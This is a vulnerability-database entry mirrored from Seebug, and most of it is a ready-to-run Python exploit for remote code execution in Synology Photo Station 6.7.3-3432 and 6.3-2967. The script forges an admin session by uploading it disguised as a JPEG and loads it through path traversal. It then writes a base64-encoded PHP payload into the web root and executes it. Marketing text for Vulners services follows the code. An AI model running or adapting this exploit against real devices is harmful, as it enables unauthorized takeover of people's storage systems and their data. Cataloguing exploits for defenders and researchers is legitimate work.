Lucene search
K

Synology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution

🗓️ 29 Sep 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 52 Views

Remote code execution via Synology Photo Station 6.7.3-3432 / 6.3-296

Related
Code

                                                import requests
 
# What server you want to attack
synology_ip = 'http://192.168.1.100'
 
# Your current IP
ip = '192.168.1.200'
 
# PHP code you want to execute
php_to_execute = '<?php echo system("id"); ?>'
 
encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}'
 
print "[+] Set fake admin sesssion"
file = [('file', ('foo.jpg', encoded_session))]
 
r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file)
print r.text
 
print "[+] Login as fake admin"
 
# Depends on version it might be stored in different dirs
payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'}
# payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'}
 
try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload)
 
whichact = {'action' : 'get_setting'}
r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies)
print r.text
 
print "[+] Upload php file"
 
c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'}
r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies)
print r.text
 
 
print "[+] Execute payload"
f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip))
 
print f.text
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation